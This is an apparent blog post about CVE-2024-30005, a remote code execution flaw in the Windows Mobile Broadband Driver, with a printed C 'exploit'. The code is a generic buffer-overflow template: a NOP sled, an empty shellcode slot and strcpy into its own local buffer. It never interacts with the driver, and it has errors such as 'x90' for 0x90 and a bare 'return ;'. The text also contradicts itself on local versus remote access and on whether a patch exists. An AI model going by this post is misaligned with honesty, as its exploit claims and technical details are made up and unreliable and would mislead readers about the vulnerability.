The Common Vulnerabilities and Exposures (CVE) system recently disclosed a critical vulnerability dubbed CVE-2024-30005, which impacts the Windows Mobile Broadband Driver. The vulnerability allows a malicious party to remotely execute code on a victim's system by exploiting a weakness in the Windows Mobile Broadband Component. This post aims to give you an in-depth understanding of the vulnerability, including code snippets, links to original references, and details on how the exploit works.

Vulnerability Analysis

CVE-2024-30005 is a remote code execution (RCE) vulnerability that affects the mobile broadband driver software used in Microsoft Windows operating systems. The vulnerability allows a hacker to remotely execute arbitrary code, leading to the complete compromise of the target's system.

Briefly, the vulnerability works by having the Windows Mobile Broadband Driver mishandle certain memory buffers, allowing an attacker with local access to cause a buffer overflow leading to execution of arbitrary code. In remote exploitation, the attacker would need to trick the target into visiting a malicious website or opening a specially crafted file that successfully triggers the execution of the arbitrary code.

The vulnerability affects devices running Windows operating systems with mobile broadband support. The security patch for this particular vulnerability is not yet available, and it is highly recommended that users regularly update their devices and install patches to minimize the chance of successful exploitation.

Exploit Details

The following example code snippet illustrates how the exploit could work. Note that this is for educational purposes only and should not be used for malicious activities.

// The following code demonstrates a Buffer Overflow Exploit
// It triggers the vulnerability in the Windows Mobile Broadband Driver
// DISCLAIMER: This code is provided for educational purposes only.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <Windows.h>

#define PAYLOAD_LENGTH 500
#define BUFFER_OVERFLOW_OFFSET 400

void cause_buffer_overflow(char *payload) {
  // MACRO to simulate the vulnerable function in Windows Mobile Broadband Driver
  char vulnerable_buffer[BUFFER_OVERFLOW_OFFSET];

  // Vulnerable code: Copying the payload into the vulnerable buffer
  strcpy(vulnerable_buffer, payload);
}

int main() {
  // Craft the malicious payload
  char payload[PAYLOAD_LENGTH];

  // Fill the payload with NOP instructions
  memset(payload, x90, PAYLOAD_LENGTH);

  // Add malicious shellcode
  unsigned char shellcode[] = {
    // Add your shellcode here
  };

  // Insert shellcode in the middle of the payload
  memcpy(payload + (BUFFER_OVERFLOW_OFFSET / 2), shellcode, sizeof(shellcode) - 1);

  // Cause the buffer overflow and trigger the exploit
  cause_buffer_overflow(payload);

  return ;
}

Original References

1. Official CVE Announcement: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-30005
2. Microsoft Security Update Guide: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2024-30005

Conclusion

CVE-2024-30005 is a critical remote code execution vulnerability affecting the Windows Mobile Broadband Driver. The exploit discussed in this post can potentially compromise the security and privacy of users and their systems. It is crucial to be vigilant and follow best security practices as well as keep your system updated to minimize the risk of exploitation.

Timeline

Published on: 05/14/2024 17:16:34 UTC
Last modified on: 07/05/2024 17:22:47 UTC